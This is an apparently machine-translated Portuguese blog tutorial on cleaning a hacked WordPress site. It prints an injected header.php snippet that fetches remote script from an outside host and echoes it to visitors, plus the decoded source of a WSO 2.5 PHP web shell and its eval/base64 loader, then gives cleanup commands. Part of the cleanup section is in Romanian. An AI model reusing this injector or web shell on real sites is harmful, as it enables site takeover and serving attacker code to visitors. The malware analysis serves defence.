Remover vírus WordPress PHP
Este tutorial apresenta um caso particular em que um blog WordPress foi infectado. Remova o vírus WordPress PHP.
contente
Outro dia notei um código suspeito que parece ser um vírus PHP para WordPress. O seguinte código PHP estava presente no header.php, antes da linha </head>.
<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
Este é um código PHP que parece estar tentando recuperar o conteúdo de um recurso de um servidor externo, mas a parte que se refere à URL está incompleta.
O mecanismo de funcionamento é um pouco mais complexo e torna este vírus WordPress PHP invisível para os visitantes dos sites afetados. Em vez disso, tem como alvo os motores de busca (Google) e leva implicitamente a uma diminuição significativa no número de visitantes dos sites afetados.
Detalhes do malware do vírus WordPress PHP
1. O código acima está presente em header.php.
2. Um arquivo apareceu no servidor wp-log.php na pasta wp-includes.
3. wp-log.php contém um código criptografado, mas que é relativamente fácil de descriptografar.
<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>
Descriptografar código de malware de wp-log.php :
<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("
<pre align=center-->
<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>
Este parece ser um script PHP malicioso que contém código para lidar com autenticação e ações em arquivos e diretórios em um servidor. Pode-se ver facilmente que este script contém variáveis como $auth_pass (senha de autenticação), $default_action (a ação padrão), $default_use_ajax (usando Ajax por padrão) e $default_charset (configuração de caracteres padrão).
Obviamente, este script possui uma seção que verifica os agentes de usuário HTTP para bloquear o acesso a determinados bots da web, como mecanismos de pesquisa. Ele também possui uma seção que verifica o modo de segurança do PHP e define determinados diretórios de trabalho.
4. Se wp-log.php for acessado no navegador, uma página web aparecerá com um campo de autenticação. À primeira vista, parece ser um gerenciador de arquivos através do qual novos arquivos podem ser facilmente carregados no servidor de destino.
Como desvírus de um site WordPress?
Întotdeauna, procesul de devirusare manuală presupune să descoperi și să înțelegi în primul rând, care a fost vulnerabilitatea.
1. Genereaza un un backup pentru întregul website. Acesta trebuie să includă atât fișierele cât și baza de date.
2. Determină cu aproximație de cât timp a apărut virusul și caută pe serverul web fișierele modificate sau noi create în intervalul de timp aproximat.
De exemplu, dacă vrei să vezi fișierele .php create sau modificate în ultima săptămănă, execută în server comanda:
find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"
Este o metodă simplă prin care poți să decoperi fișierele WordPress virusate și pe cele care conțin codul malware.
3. Verifique o arquivo .htaccess de directivas suspeitas. Permissões ou linhas de execução de script.
4. Verifique o banco de dados. É muito possível que alguns posts e páginas do WordPress tenham sido editados com malware ou novos estejam sendo adicionados usuários com função de administrador.
5. Verifique as permissões de gravação de pastas e arquivos. chmod e chown.
As permissões recomendadas são: 644 para arquivos e 755 para diretórios.
find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;
6. Atualize tudo WordPress Plugins / WordPress Themes.
Relacionado: Corrigir redirecionar o WordPress Hack 2023 (redirecionamento do vírus)
Estes são métodos “básico” através do qual você pode desvírus de um site/blog WordPress. Se você tiver problemas e precisar de ajuda, a seção de comentários estará aberta.
Remover vírus WordPress PHP
O que há de novo
Sobre Stealth
Apaixonado por tecnologia, escrevo com prazer no StealthSettings.com desde 2006. Tenho uma vasta experiência em sistemas operativos: macOS, Windows e Linux, bem como em linguagens de programação e plataformas de blogging (WordPress) e para lojas online (WooCommerce, Magento, PrestaShop).
Veja todos os posts de StealthVocê também pode estar interessado em...